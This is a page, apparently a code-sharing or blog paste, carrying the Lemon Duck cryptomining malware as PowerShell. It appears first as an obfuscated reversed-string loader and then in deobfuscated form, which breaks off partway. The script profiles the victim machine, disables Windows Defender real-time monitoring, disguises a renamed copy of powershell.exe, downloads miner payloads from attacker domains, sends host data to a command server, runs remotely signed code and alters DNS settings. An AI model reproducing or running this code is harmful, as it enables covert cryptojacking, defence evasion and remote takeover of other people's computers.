* sET-VarIaBlE  ('Q2G'+'4h')  ( ")''Nioj-'X'+]3,1[)ecNerEFerPESOBreV$]gNIRTS[( ( &| )63]rAHc[]gNiRTs[,)65]rAHc[+58]rAHc[+05]rAHc[((EcaLper.)93]rAHc[]gNiRTs[,)311]rAHc[+97]rAHc[+211]rAHc[((EcaLper.)'|',)021]rAHc[+121]rAHc[+311]rAHc[((EcaLper.)')qOpXqOp+]'+'31[DIlLEhs8U2+]1[dIlLEhS8'+'U2 ( .xy'+'q)69]rAHc[,qOpQUrqOp EcALP'+'e'+'rc-43]rAHc[,qOp7kMqOpEcALPerc-29]rAHc[,qOpd3yqOp EcALPerc-  63]rAHc[,)68]rAHc[+45]rAHc[+76]rAHc[( ECALPer-  93]rAHc[,)45'+']rAHc[+66]rAHc[+58]rAH'+'c[( ECALPer- 421]rAHc[,)18]rAHc[+501]rAHc[+001]'+'rAHc[( EcALPerc-)qOp}7kMnib.edo/lru_nwodV6C7kM XEI'+'S    {))gol.kk4kkd3ypmt:qOp+qOpvneV6C htap-tset(!(fiqOp+qOp}}    }        7kMniqOp+qOpb.liamqOp+qOp_fi/lr'+'u_nwodV6C7kM XEIS            {))txt.4iq'+'Op+qOplamdogd3ypmt:vneV6C htap-tset(!(fi        {)liaMlacolV6C(fi    }{hctac})liaMlacolV6C]fer[,6BUqOp+qOpliaMlacoLd3ylqO'+'p+qOpabolG6BU,eurtV'+'6C(xetuM.gnidaerhT tcejbO-weN;esa'+'lfV6C=liaMlacolV6C{yrt    {)galfmV6qOp+qOpC(fi}}}yeksV6C htap-tset=qOp+qOpga'+'lfmV6C    drowqOp+qOpD epyt- 2 drauGledoMtcejbO yeksV6CqOp+qOp yqOp+qOptreporPm'+'etI-teS    }    yeksV6C metI-weNqOp+qOp        {))yeksV6C htaP-tseT(!(fi    '+'7kMytirqOp+qOpuceSd3yko'+'oltuOd3y_V6Cd3yhtapV6C::yrtsigeR7kM=yeksV6C    {hcaerofQid})kooltuOd3y_V6Cd3yhtapV6qOp+qOpC::yqOp+qOprtsigeR htaP-tseT( dnaqOp+qOp- 7kM+dd3y7kM hctam- _V6C{tcejbo-erehwQideman- htapV6C::yrtsigeR metidlihc-teg{)htap'+'V6C::yrqOp+qOptsigqOp+qOpeR htap-tset(fi{)shtapV6C ni htapV6C'+'(hcaerof)7kMosmV6CdnwV6CmrcV6Cd3yosmVqOp+qOp6CskhV6C7kM,7kMosmV6CmrcV6Cd3yosmVqOp+qOp6CskhV6C7kM,7kMosmV6CdnwV6Csk'+'hV6C7kM,7kMosmV6CskhV6C7kM(@=shtapV6qOp+qOpC7kqOp+qOpMd3yerawtfoSd3yENIHCAMd3'+'qOp+qOpy'+'YRTSIqOp+qOpGERd3ynuRoTkcilC7kM=mrcV6C7kMd3y'+'edoN2346woW7kM=dnwV6C7kMeciffOd3ytfosorciM7'+'kM=osmV6C7kMd3yERAWTFOSd3yENIHCAM_LACOL_YEKH7kM=skhV6C'+'q'+'Op+qOp}{hctacqOp+qO'+'p}}}    '+'dnV6Cd3ypmt:vneV6C metI-evqOp+qOpomeR        )61,7kM*d3ydnV6Cd3ypmt:vneV6C7kM(er'+'eHypoC.)pmt:vneV6C(ecapSemaN.)nqOp+qOpoitacilppA.llehS tcejbOmoC- qOp'+'+qOptcejbO-weN(        )7kMdnV6Cd3ypmt:vqOp+qOpneV6C7kM,7kMdnV6C/7kM+lru_'+'nwodV6C(7kMeliqOp+qOpFdaolnwoD7kM.)tneilQUrCbeW.'+'tqOp+qOp'+'eN tceQUrjbo-wQUren(        {)86953022 en- htgnelq'+'Op+qOp.)gdnV6C metI-teG( ro- qOp+qOp)gdnV6C htap-tsetqOp+qOp(!(fi    '+'7kMtad.gdvnd'+'3ypmt:vneV6C7kM=gdnV6C    7kMpiz.dvn7kM=dnV6C    qOp+qOpqOp+qOp{)46siV6C '+'dna- nsiV6C(fi{yrt7kMpsj.troper/lrqOp+qOpu_erocV6C7kM XEIS}}{hctac }    }        }        '+'    qOp+qOp)setyb_warV6C]][rahc[nioj-qOp+qOp( XEI                { ))yarrAety'+'bV6C,1ahsV6C,setyb_warV6C(ataDyfirev.asrV6C(fi            r'+'edivorPecivreSotpyrC1qOp+qOpAHS.yhpqOp+qOpargotpyrC.ytiruceS.metsyS'+' tcejbO-w'+'eN = 1ahsV6C            )46esabV6C(gnqOp+qOpirtS46esaBmorF::]trevnoc[ = yarrAety'+'bV6C            )setyb_ngisV6C]][rahc[(nioj- = 46esabqOp+qOpV6C            )smaraPasrV6C(sretemaraPtropmqOp+qOpI.asrVqOp+qOp6C            ;redivorPecivreSotpyrCASR.yhpargotpyqOp+qOprC.ytiruceS.metsyS'+' em'+'aNqOp+qOpepyT- tcejbO-weN = asrV6C            10x0,00x0,10x0 q'+'Op+qOp= tnenopxE.smaraP'+'asrV6C            qOp+qOpd5x0,b6x0,qOp+qOp74xqOp+qOp0,7bx0,83x0,'+'aex0,79x0,eax0,b7x0,4ax0,36x0,88x0,7fx0,5dx0,36x0,dfx0,27x0,01x0,59x0,e2x0,6fx0,f3x'+'0,79'+'x0,bdx0qOp+qOp,89x0,a0x'+'0,bcx0,03x0,e6x0,93x0,fcx0,0dx'+'0,24x0'+',e8x0,59x0,eax0,a6x0,19qOp'+'+qOpx0,7ax'+'0'+',0qOp+qOp4x0,97x0,dcx0,21x0,2e'+'x0,fqOp+qOp9x0,7ax0,'+'a8x0,87x0,43x'+'0,'+'7cx0,7ex0,dcx0,10'+'x0,25x0,6cx0,37x0,03x0,91x0,1dx0,b2x0,d7x0,b9x0,e2x0,8bx0,c6x0,eex0,29x0,2fx0,53x0,fbx0,88x0,cdx0,06x0,1dx0,11x0,6fx0,fqOp+qOp4x0,'+'6ax0,dbx0,edx0,acx0,e6x0,69x0,70x0,68x0,0qOp+qOp7x0,26x0,b3x0,f'+'4x0,3fx0,b'+'6x0,7'+'3x0qOp+qOp,dcx0,dcx0,0cx0,d3x'+'0,25x0,c3x0,32x0,e4x0,eax0,6dx0,76x0,bex0,55x0,b7x0,c'+'6x0,e6x0,37x0,a9x0,35x0,37x0,ffx0,f2xqOp+qOp0'+',ffx0,28x0,d9x0,99x0,e5x0,14x'+'0,d6x0,cbx0,79x0,bbx0,7dx0qOp+qOp,8ax0,56x0,aqOp+qOpdx0 = suludoM.smara'+'PasrV6C            sretemaraPASR.yhpargotpyrC.ytiruceS.met'+'syS tcejbO-w'+'eN = smaraPasrV6C            ;]tnuoc.setyb'+'_serV6C..371[setyb_serV6C = setyb_warVqOp+qOp6C            ;]17'+'1..0[setyb_serV6C = s'+'etyb_ngisV6C            qOp+qOp{)371 tg- tnuoc.setyb_serV6C(fi        )'+'lrulanifV6C(ataDdaol'+'nwoD.tneilcbewV6C = setyb_serV6C        }{hctac }        ))6BU-6BU,6BUd3qOp+qOpy6BU(ecalper.kcuD_nomeL'+'V6qOp+q'+'OpC+7kM-kcuDqOp+qOp-nomeL7kM,7kMtnegA-res'+'U7kM(dda.sredaqOp+qOpeH.tnei'+'lcbewV6C            {yrt        7kMsmarapV6C7kM+7kM?7kM+7kMlruV6C7kM = lrulanifV6C        tneilQUrCbeW.teN tceQUrjbO-wQUreN = tneilcbewV6C        {yrt    )    lruV6C]gnirts[    (maraP      { XEIqOp+q'+'OpS noitcnuf)7kM&7kMnioj-)7kM4.07kM,pmatsemitV6C,emitpuV6C,qOp+qOprhmV6C,pimV6C,vmV6C,)7kM7kMnioj-]5..0[5dmrklV6C(,)7kM7kMnioj-]5..0[5dmmlV6C(,)7kM7kMnioj-]5..0[5dmfilV6C(,'+'timrepV6C]tnI[,memV6C,dracV6C,evirdV6C,niamodV6C,resuV6C,46siV6C]tnI[,soV6qOp+qOpC(@(+7kM&7kM=+smarapV6C}{hctac}))6BU9.9.9.96BU,6BU8.8.8.86BU(@(redrOhcraeSrevreqOp+qOpSSNDteS.)eurt='+'delbanepi retlif- noitarugifnoc'+'retpadakrowten_23niw'+' ssalc- tcejboimw-te'+'g({yrt}))emanerV6C bpg(+)nibrkV6C 5dmrkV6C 4edocV6C fcg(( pts    {)rKlacolV6C(fi4edocV6C xEQUrI7kMrK7kM edocg=4edocV6C}'+'}    ))em'+'anerV6C nibgmV6qOp+qOpC apqOp+qOpg(+)nibgmV6C qOp+qOp5dmgmV6C 3edocV6C fcg(( pts        {qOp+qOp)gnMTlacolV6C(fi    3edocV6C xEQUrI    7kMqOp+qOpgnMT7kM'+' edocg=3edocV6C    {)46siV6C dna- )as'+'iV6C ro- nsiV6C((fi}}    ))emanerV6C nibmV6C apg'+'(+)nibmV6C 5dmmV6C 2eqOp+qOpdocV6C fcg(( pts        {)nMTla'+'colV6C(fi    2edocV6C xEQUrI    qOp+qOp7kMnMT7kM edocg=2edocV6C    {)46s'+'iV6C(fi}))emaqOp+qOpnerV6C bpg(+'+')n'+'iqOp+qOpbfiV6C 5dqOp+qOpmfiV6C 1edocV6C fcg(( pts    {)fIlacolV6C(fi1edocV6Cq'+'Op+qOp xEQUrI7kMfI7kM edocg=1edocV6C}6qOp+qOpBU}{hctac})6BU+lfV6C+6BUlac'+'olV6C]fer[,6BU6BU6BU+lfV'+'6C+6BUlacoLed3ylabo'+'lG6BU6BU,eqOp+qOpurtV6C(xetuM.gnidaerhT tcejbO-weNqOp+qOp;esalfV6C=6BU+lfV6C+6BUlacolV6C{yrt6BU    qOp+qOp{ )'+'lfV6C(edocg noitcnuf}6BU- 6BU+emanV6C+6BUQid)nocV6C]][rahc[nioj-'+'('+'XEQ'+'U'+'rI6BU '+'   {)emanV6C(bpg noitcnuf}7kMexe'+'.manfV6Cd3y%pmt% & exe.manfV6Cd3y%pmtqOp+qOp% iro.manfV6Cd3yqOp+q'+'Op%pmt% y/'+' '+'ypoc c/ dmc& - '+'emanV6CQid7qOp+qOp'+'kM+)6BU&^^^6BU,'+'6BU&6BU(ecalper.)qOp+qOp6BUQiq'+'Op+qOpd^^^6BU,6BUQid6BU(ecalpeqOp+qO'+'pr.)6BUnibV6C setyBEP- 1tset;))001 tqOp+qOpnuoC- modnaR-teGQid)721..'+'1((+_'+'nibV6C,pemV6C(setyBllA'+'etirW::]eliF.OI.metqOp+qOpsySqOp+qOp[;6BU6BU6BU+7kMiro.manfV6Cd3y7kM+6BU6BU6BU+pmt:vneV6C=pemV6C;)(enolC.nibV6C=_nibVqOp+qOp6C;)0000'+'0001(setyBdaeRqOp+qOp.)))sseqOp+qOprpmoceD::]edoMnoisserpmoC.no'+'qOp+qOpisserpmoC.OI[( ,))])tnuoc.nocV6C(..)1+iV6C([nocV6CqOp+qOp,(maer'+'tSyrom'+'eM.OI.metsyS tcejbO-weN( maertSpi'+'zG.noisserpmoC.OI.me'+'tsyS tcejbqOp+qOpO-weN(redaeRyraqOp+qOpniB.OI tcejbO-weN(=nibV6C;)]iV6C..0qOp+qOp[nocV6C]qO'+'p+qOp][rahc[nioj-(xeQUri;}}kaerb{)a0x0 qe- ]iV6C[nocV6C(fi{)1=+iV6C;1-tnuoc.nocV6C tl- iV6C;0=iV6C(rofqOp+q'+'Op6BU(    {)emanV6C,manfV6C(apg '+'noitcnuf})'+'6BU&^^^6BU,6BU&6BU(ecalper.)6BUQid^'+'^^6qOp+qOpBU,'+'6BUQid6B'+'qOp+qOpU(ecalper.)6BU}_5dm'+'V6C=5dmfiV6C;'+'_nocV6CqOp+qOp=nocV6C'+'{)puonV6C(fi}}1=puonV6C{esle})nocV6C,pfiV6C(setyBllAetirW::]eliF.OI.metsyS[{)5dmfiV6Cqe-tV6C(fi;no'+'cV6C 5dmg=tV6C;)6BU6BU6BU+'+'smarapV'+'6C+6BU?6BU+nfV6'+'C+6BU/6BU6BU+lru_nwodV6qOp+qOpC(aqOp+qOptaddaolnwod.)tneilQUrCbeW.teN'+' tceQUrjbO-wQUreN(=nocV6C'+'{)puonV6C!(fi}}1=puonV6C{)5dmfiV6Cqe-_5dmV6C(fi;_nocV6CqOp+qOp 5dmg=_5dmV6C;)pfiV6C('+'setyBllAdaeR::]eliF.OI.metsyqOp+qOpS[=_nocV6C{)pf'+'iV6C htap-tset(fi}sV6C nruter;})6BU6BU2x6BU6B'+'U(gnirtSoT._V6C=+sV6C{hcaerofQidqOp'+'+qOp)nocV6C(hsaHetupmoC.)(etaerC::]5DM.yhpargotpyrC.ytiruceS.metsyS[{)nocV6C(5dqOp+qOpmg noitcnuf;6BU6BU6BU+lru_nwodV6C+6BU6BU6BU=l'+'ru_nwodV6C;6BU6BU6BU+nfqOp+qOpV'+'6C+6BUd3y6BU6BU+pm'+'t:vneV'+'6C=pfiV6C;6BU6BU6BU'+'+dmV6C+6BU6BqOp+qOpU6BUqOp+qOp=5dmfiV6C;6BU+edocV6C+6BU ohce6BU(    {)nfV6C,dmV6C,edocV6C(fcg noitcnuf}7kMargV6C c/7kM tsiLtneqOp+qOpmugrA- exe.dmc htaPeliF- sseqOp+qOpcorP-'+'tqOp+qOpr'+'atS    argV6C tsoh-etirw    {)argV6C(pt'+'s noitcnufpmt:vneV'+'6C noitacol-tes7kqOp+qOpM&7kMnioj-)camV6C,diqOp+qOpugV6C,e'+'man_pmocV6C,vV6C(@=sma'+'rapV6C]1[)7kM?7kM(tilps.lruV6C=vV6C}1=asiV6C{))7kMDMAQqOp+qOpidnoedaR7kM hctam- dracV6C((fi}1=nsiV6C{))7kMECROFEGQidAIDIVNQidXTG7kM hctam- dracV6C((fi}{hqOp+qOpctac}emaneqOp+qOprV6Cd3y0.1vd3yqOp+qOpllehSrewoPswodniWd3y23met'+'sysd3yswodniwd3y:c ssecorPnoisu'+'lcxE- e'+'qOp+qOp'+'cnereferPpM-qOp+qOpddA    ex'+'e.llehsrewopd3y0.1'+'vd3yllehSrewoPqOp+qOpswodniWdqOp+qOp3y23metsysd3yqOp+qOpswodniwd3y:c ssecorPnoisulcxE- ecnereferPpM-ddA    d3y:c htaPnoisulcxE- ecnereferPpM-ddA    1 gnirotinoMemitlaeRel'+'basiD- ecnereferPpM-teS    {qOp+qOpyrt}{hctac})6BU,6BU(nqOp+qOpioj-latot.etarhsah.jboV6C=rhmV6Cpi.noitcennoc.jboV6C=pimV6Cnoisrev.jboV6C=vmV6CqOp+qOp))6BUyrammus/qOp+qOp1/96634:1.0.'+'0.721//:ptth6BU(7kMgnirtsdaolnwqOp+qOpod7kM.'+')tneilQUrcbew.ten tceQUrjbo-wQUrenqOp+'+'qOp((tcejbOezilaireseD.)rezilaireStpircqOp+qOpSavaJ.noitaqOp+qOpzilaireS.tqOp+qOppircS.beW tcejbO-weN( = '+'jboV6C)7kMsqOp+qOpnoisnetxE.beW.metsyS7kM(emaNlaitraPhtiqOp+qOpWdaoL::]ylbmessA.noitcelfeR[{yrt)9,0(gnirtsbuS.)7kMs%7kM tam'+'roFU- etaD-teG( = pmatsemitV6C}{hctac}7kMQid7kMnioj-)}]0[))(gnqOp+qOpirtsot.epyTevirD._V6C(+7kM_7kM+]0[qOp+qOp)emaN._V6C({hca'+'erof Qid }))7kM23TAF7kM qe- tamroFevirD._V6C( ro- )7kMSFTN7kM qe'+'- tamroFevirD._V6C(( dna- ))7kMkrowteN7kM qe'+'- epyTevirD._V6C( ro- )7kMelbavom'+'eR7kM qe- epyTevirD._'+'V6C(( dna- )4201 tg- ecapSeerFelbaliavA._V6C( dqOp+qOpna- ydae'+'RsI._V6C{ erehw Qid )(sevirDteG::]ofnIevirD.OI.metsys[( = evirdV6C{yrtbG1/musmV6qOp+'+'qO'+'pC=memV6C;} yticapaC'+'._V6C =+ m'+'usmV6C { }0 = musmVqOp+qOp6C{% Qid yromeMlacisyhP_23niW imwgeman'+'.)rellortnoCoediV_23'+'niW tcejbOimW-teG( = dracV6C}sdnoceslaqO'+'p+qOptot._V6C{hcaerofQid)tnuoCkciT::]tnemnorivne[(sdnqOp+qOpocesilliMmorF::]napsemit['+' = emitpuV6CniamoD.)metsysre'+'tupmoc_23niw tceqOp+qOpjbOimW-teG( = niamodV6qO'+'p+qOpCEMANRESU:vneV6C = resuV6'+'qOp+qOpCnoisreV.bsoV6C+qOp+qOp7kM_7kM+)7kM7kM,7kM swodniW tfosorcqOp'+'+qOpiM7kM(ecalper.noitpaC.bsoV6C = soV'+'6C)metsySgnitarepO_'+'23niW ssaqOp+qOplc- tcejbOimW-teG( = bsoV6C'+'1 tsrif'+'- tcejbo-tceles Qid sserddacaM.)}eurtV6C QE- delbanepi._V6C{ erehw QiqOp+qOpd noitarugifnoCretpadAkrowteN_23niW'+' tcejbOimW-teG( = camV6CDIUU.)tcudorPmetsySretupmqOp+qOpoC_2qOp+qOp3niW tcejboimw-teg( =qOp+qOp diugV6C'+'EMANRETUPMOC:vneV6C = eman_pmocV6C)7kMrotartsinimdA7kM ]eloRnItliuBswodniW.lqOp+qOpapqOp'+'+qOpicnirP.yt'+'iruceS[(eloRnIsI.))(tnerruCteG:'+':]ytitnedIswodniW.lapicnirP.ytiruceS[]lapicnirPswo'+'dniW.lapicnirP.ytiruceS[( = timrepV6C7kM/7kMnioj-]2..0[)7kM/7kM(tilps.lruV6C = lru_erocV6'+'C}7kMmoc.xnyma.t//:ptth7kMq'+'Op+qOp=lrqOp+qOpuV6C{)lru'+'V6C!(fiqOp+qOp7kMmoc.gnkca.d//:ptth7kM =qOp+qOp lru_nwodV6C}{hctac}))7kMnibrkV6Cd3ypmt:vneV'+'6CqOp+qOp7kM(sqOp+qOpetyBllAdaeR::]eliF.OI[( 5dmg=5dmrklV6C{yrt}{hctac}))7kMnibmV6Cd3ypmt:vne'+'V6C7qOp+qOpkM(setyBllAdaeR::]eliF.OI[( 5dmg=5dmmlV6C{yrt}{hctacqOp+qOp}))7kMnibfiV6Cd3ypmt:vneV6C7kM(setyBllAdaeR::]eliF.OI[( 5'+'dmg=5dmfilVqOp+qOp6C{yrtqOp+qOp7kM7kM,7kM7kM,7kM7kM=5dm'+'rklV6C,5dmmlV6C,5dmfilV6Cemanrteg=emanerV6C}emaqOp+qOpneV6C'+' nrqOp+qOputeqOp+qOpr    }7kMexe.llehsrewop7kM=emaneV6C{))7k'+'M'+'emanqOp+qOpeV6Cd3yhtaprV6C7k'+'qOp+qOpM htap-tset(!(fi    llun-tuoQid7kM'+'emaneV6Cd3yhtapr'+'V6C7kM 7kMexe.llehsrewopd3yhtaprV6C7kM meti-ypoc    7kMexe.7k'+'M + ))'+'6%)modnaR-teG(+6( tnuoC- modnaR-t'+'eGQid)221..79+09..56+75..84(]][rahc[(nioj-=emaneV6C    }    }  qOp+qOp      emaneV6C nruter            {)_5dmV6C qe- 5dmtV6CqOp+qOp(fiqOp+qOp        '+'))7kMemaneV6Cd3yht'+'apqOp+q'+'OprV6C7kM(seqOp+qOptyBllAdaeR::]eliF'+'.OI[( qOp+qOp5dmg=_5dmV6'+'C        {)semaneV6C ni emaneV6C(hcaerof    ))7kMexe.lleh'+'srewopd3yhtaprV'+'6C7kM(setyBllAqOp+qOpdaeR::]eliF.OI[( 5dmg = 5dmtVqOp+qOp6C    }eman._V6C{qOp+qOphqOp+qOpcaerofQidexe.llehsreqOp+qOpw'+'op edulcxE- exe.'+'* edulcnI- 7'+'kM*d3yhtaprV6C7kM icg = semaneV6C'+'    7kM0.1Vd3ylqOp+qOplehsrewopswodniWd3y23metsySqOp+qOpd3yswodniWd3y:C7kM=htapr'+'V6C    {)(emanrteg noitcnuf}lV6C nruter    })6BU2x6BU(gnirtS'+'oT._V6C=+lV6C{hcaerofQid)dV6C(hsaHqOp+qOpetupmoC.)(etaerC::]5DM.yhpargotpyrC.ytiruceS[    {)dV6C(5dmqOp+qOpg noitcnuf}7kM2962557a5'+'e041f580qOp+qOp67f1fabffb2428c7kM=5dmgmV6C'+'    7kMnib.g6m7kM=nibgmV6C    7'+'kM53'+'9e05e7d'+'dce36e1e6c7e90qOp+qOp5d4419dcd7kM=5dmqOp+qOpmV6C    7kMnib.6m7kM=nibmV6C    {)46siV6C(fi7kM30b4cf48d35c1d78qOp+qOpd2'+'6389ba7ceca40e7kM=5dmrkV6C7kMni'+'b.rk7kM=nibrkV6C7kM8511d8qOp+qOpf8e1f01c0330e8'+'0b5df37b6a587kM=5dmfiV6C7kMnib.fi7kM=nibfiV6qOp+qOpC'+'}eurtV6C=46siV6C{)8 qe- eziS::]rtPtnI[qOp+qOp(fiqOp(( '(" ); [STRInG]::JoiN('' , $q2g4H[ -1 ..- ($q2g4H.LenGTH) ]) |&( $pshOme[21]+$PShomE[30]+'x')
*/

/*
* 提示：该行代码过长，系统自动注释不进行高亮。一键复制会移除系统注释 
* if([IntPtr]::Size -eq 8){$is64=$true}$ifbin="if.bin"$ifmd5="85a6b73fd5b08e0330c10f1e8f8d1158"$krbin="kr.bin"$krmd5="e04acec7ab98362d87d1c53d84fc4b03"if($is64){    $mbin="m6.bin"    $mmd5="dcd9144d509e7c6e1e63ecdd7e50e935"    $mgbin="m6g.bin"    $mgmd5="c8242bffbaf1f76085f140e5a7552692"}function gmd5($d){    [Security.Cryptography.MD5]::Create().ComputeHash($d)|foreach{$l+=$_.ToString('x2')}    return $l}function getrname(){    $rpath="C:\Windows\System32\Windowspowershell\V1.0"    $enames = gci "$rpath\*" -Include *.exe -Exclude powershell.exe|foreach{$_.name}    $tmd5 = gmd5 ([IO.File]::ReadAllBytes("$rpath\powershell.exe"))    foreach($ename in $enames){        $md5_=gmd5 ([IO.File]::ReadAllBytes("$rpath\$ename"))        if($tmd5 -eq $md5_){            return $ename        }    }    $ename=-join([char[]](48..57+65..90+97..122)|Get-Random -Count (6+(Get-Random)%6)) + ".exe"    copy-item "$rpath\powershell.exe" "$rpath\$ename"|out-null    if(!(test-path "$rpath\$ename")){$ename="powershell.exe"}    return $ename}$rename=getrname$lifmd5,$lmmd5,$lkrmd5="","",""try{$lifmd5=gmd5 ([IO.File]::ReadAllBytes("$env:tmp\$ifbin"))}catch{}try{$lmmd5=gmd5 ([IO.File]::ReadAllBytes("$env:tmp\$mbin"))}catch{}try{$lkrmd5=gmd5 ([IO.File]::ReadAllBytes("$env:tmp\$krbin"))}catch{}$down_url = "http://d.ackng.com"if(!$url){$url="http://t.amynx.com"}$core_url = $url.split("/")[0..2]-join"/"$permit = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")$comp_name = $env:COMPUTERNAME$guid = (get-wmiobject Win32_ComputerSystemProduct).UUID$mac = (Get-WmiObject Win32_NetworkAdapterConfiguration diQ where {$_.ipenabled -EQ $true}).Macaddress | select-object -first 1$osb = (Get-WmiObject -class Win32_OperatingSystem)$os = $osb.Caption.replace("Microsoft Windows ","")+"_"+$osb.Version$user = $env:USERNAME$domain = (Get-WmiObject win32_computersystem).Domain$uptime = [timespan]::FromMilliseconds([environment]::TickCount)|foreach{$_.totalseconds}$card = (Get-WmiObject Win32_VideoController).namegwmi Win32_PhysicalMemory | %{$msum = 0} { $msum += $_.Capacity };$mem=$msum/1Gbtry{$drive = ([system.IO.DriveInfo]::GetDrives() | where {$_.IsReady -and ($_.AvailableFreeSpace -gt 1024) -and (($_.DriveType -eq "Removable") -or ($_.DriveType -eq "Network")) -and (($_.DriveFormat -eq "NTFS") -or ($_.DriveFormat -eq "FAT32"))} | foreach{($_.Name)[0]+"_"+($_.DriveType.tostring())[0]})-join"|"}catch{}$timestamp = (Get-Date -UFormat "%s").Substring(0,9)try{[Reflection.Assembly]::LoadWithPartialName("System.Web.Extensions")$obj = (New-Object Web.Script.Serialization.JavaScriptSerializer).DeserializeObject((new-object net.webclient)."downloadstring"('http://127.0.0.1:43669/1/summary'))$mv=$obj.version$mip=$obj.connection.ip$mhr=$obj.hashrate.total-join(',')}catch{}try{    Set-MpPreference -DisableRealtimeMonitoring 1    Add-MpPreference -ExclusionPath c:\    Add-MpPreference -ExclusionProcess c:\windows\system32y3dWindowsPowerShell\v1.0\powershell.exe    Add-MpPreference -ExclusionProcess c:\windows\system32\WindowsPowerShell\v1.0\$rename}catch{}if(($card -match "GTX|NVIDIA|GEFORCE")){$isn=1}if(($card -match "RadeondiQAMD")){$isa=1}$v=$url.split("?")[1]$params=@($v,$comp_name,$guid,$mac)-join"&"set-location $env:tmpfunction stp($gra){    write-host $gra    Start-Process -FilePath cmd.exe -ArgumentList "/c $gra"}function gcf($code,$md,$fn){    ('echo '+$code+';    $ifmd5='UB6'+$md+''';    $ifp=$env:tmp+''\'+$fn+''';    $down_url='''+$down_url+''';    function gmd5($con){[System.Security.Cryptography.MD5]::Create().ComputeHash($con)|foreach{$s+=$_.ToString(''x2'')};    return $s}if(test-path $ifp){$con_=[System.IO.File]::ReadAllBytes($ifp);    $md5_=gmd5 $con_;    if($md5_-eq$ifmd5){$noup=1}}if(!$noup){$con=(New-Object Net.WebClient).downloaddata($down_url+''/'+$fn+'?'+$params+''');    $t=gmd5 $con;    if($t-eq$ifmd5){[System.IO.File]::WriteAllBytes($ifp,$con)}else{$noup=1}}if($noup){$con=$con_;    $ifmd5=$md5_}').replace(UB6|',UB6^^^|').replace('&','^^^&')}function gpa($fnam,$name){    ('for($i=0;    $i -lt $con.count-1;    $i+=1){if($con[$i] -eq 0x0a){break}};    iex(-join[char[]]$con[0..$i]);    $bin=(New-Object IO.BinaryReader(New-Object System.IO.Compression.GzipStream (New-Object System.IO.MemoryStream(,$con[($i+1)..($con.count)])), ([IO.Compression.CompressionMode]::Decompress))).ReadBytes(10000000);    $bin_=$bin.Clone();    $mep=$env:tmp+'''+"\$fnam.ori"+''';    [System.IO.File]::WriteAllBytes($mep,$bin_+((1..127)|Get-Random -Count 100));    test1 -PEBytes $bin').replace('|','^^^diQ').replace('&','^^^&')+"|$name - &cmd /c copy /y %tmp%\$fnam.ori %tmp%\$fnam.exe & %tmp%\$fnam.exe"}function gpb($name){    IEX(-join[char[]]$con)|'+$name+' -'}function gcode($fl) {    try{$local+$fl+=$flase;    New-Object Threading.Mutex($true,''Global\eLocal'+$fl+''',[ref]$local'+$fl+')}catch{}UB6}$code1=gcode "If"IEx $code1if($localIf){    stp ((gcf $code1 $ifmd5 $ifbin)+(gpb $rename))}if($is64){    $code2=gcode "TMn"    IEx $code2    if($localTMn){        stp ((gcf $code2 $mmd5 $mbin)+(gpa $mbin $rename))    }}if(($isn -or $isa) -and $is64){    $code3=gcode "TMng"    IEx $code3    if($localTMng){        stp ((gcf $code3 $mgmd5 $mgbin)+(gpa $mgbin $rename))    }}$code4=gcode "Kr"IEx $code4if($localKr){    stp ((gcf $code4 $krmd5 $krbin)+(gpb $rename))}try{(get-wmiobject -class win32_networkadapterconfiguration -filter ipenabled=true).SetDNSServerSearchOrder(@('8.8.8.8','9.9.9.9'))}catch{}$params+="&"+(@($os,[Int]$is64,$user,$domain,$drive,$card,$mem,[Int]$permit,($lifmd5[0..5]-join""),($lmmd5[0..5]-join""),($lkrmd5[0..5]-join""),$mv,$mip,$mhr,$uptime,$timestamp,"0.4")-join"&")function SIEX {      Param(    [string]$url    )    try{        $webclient = New-Object Net.WebClient        $finalurl = "$url"+"?"+"$params"        try{            $webclient.Headers.add("User-Agent","Lemon-Duck-"+$Lemon_Duck.replace('y3d','-'))        } catch{}        $res_bytes = $webclient.DownloadData($finalurl)        if($res_bytes.count -gt 173){            $sign_bytes = $res_bytes[0..171];            $raw_bytes = $res_bytes[173..$res_bytes.count];            $rsaParams = New-Object System.Security.Cryptography.RSAParameters            $rsaParams.Modulus = 0xda,0x65,0xa8,0xd7,0xbb,0x97,0xbc,0x6d,0x41,0x5e,0x99,0x9d,0x82,0xff,0x2f,0xff,0x73,0x53,0x9a,0x73,0x6e,0x6c,0x7b,0x55,0xeb,0x67,0xd6,0xae,0x4e,0x23,0x3c,0x52,0x3d,0xc0,0xcd,0xcd,0x37,0x6b,0xf3,0x4f,0x3b,0x62,0x70,0x86,0x07,0x96,0x6e,0xca,0xde,0xbd,0xa6,0x4f,0xf6,0x11,0xd1,0x60,0xdc,0x88,0xbf,0x35,0xf2,0x92,0xee,0x6c,0xb8,0x2e,0x9b,0x7d,0x2b,0xd1,0x19,0x30,0x73,0xc6,0x52,0x01,0xcd,0xe7,0xc7,0x34,0x78,0x8a,0xa7,0x9f,0xe2,0x12,0xcd,0x79,0x40,0xa7,0x91,0x6a,0xae,0x95,0x8e,0x42,0xd0,0xcf,0x39,0x6e,0x30,0xcb,0x0a,0x98,0xdb,0x97,0x3f,0xf6,0x2e,0x95,0x10,0x72,0xfd,0x63,0xd5,0xf7,0x88,0x63,0xa4,0x7b,0xae,0x97,0xea,0x38,0xb7,0x47,0x6b,0x5d            $rsaParams.Exponent = 0x01,0x00,0x01            $rsa = New-Object -TypeName System.Security.Cryptography.RSACryptoServiceProvider;            $rsa.ImportParameters($rsaParams)            $base64 = -join([char[]]$sign_bytes)            $byteArray = [convert]::FromBase64String($base64)            $sha1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider            if($rsa.verifyData($raw_bytes,$sha1,$byteArray)) {                IEX (-join[char[]]$raw_bytes)            }        }    } catch{}}SIEX "$core_url/report.jsp"try{if($isn -and $is64){    $nd="nvd.zip"    $ndg="$env:tmp\nvdg.dat"    if(!(test-path $ndg) -or (Get-Item $ndg).length -ne 22035968){        (new-object Net.WebClient)."DownloadFile"($down_url+"/$nd","$env:tmp\$nd")        (New-Object -ComObject Shell.Application).NameSpace($env:tmp).CopyHere("$env:tmp\$nd\*",16)        Remove-Item $env:tmp\$nd    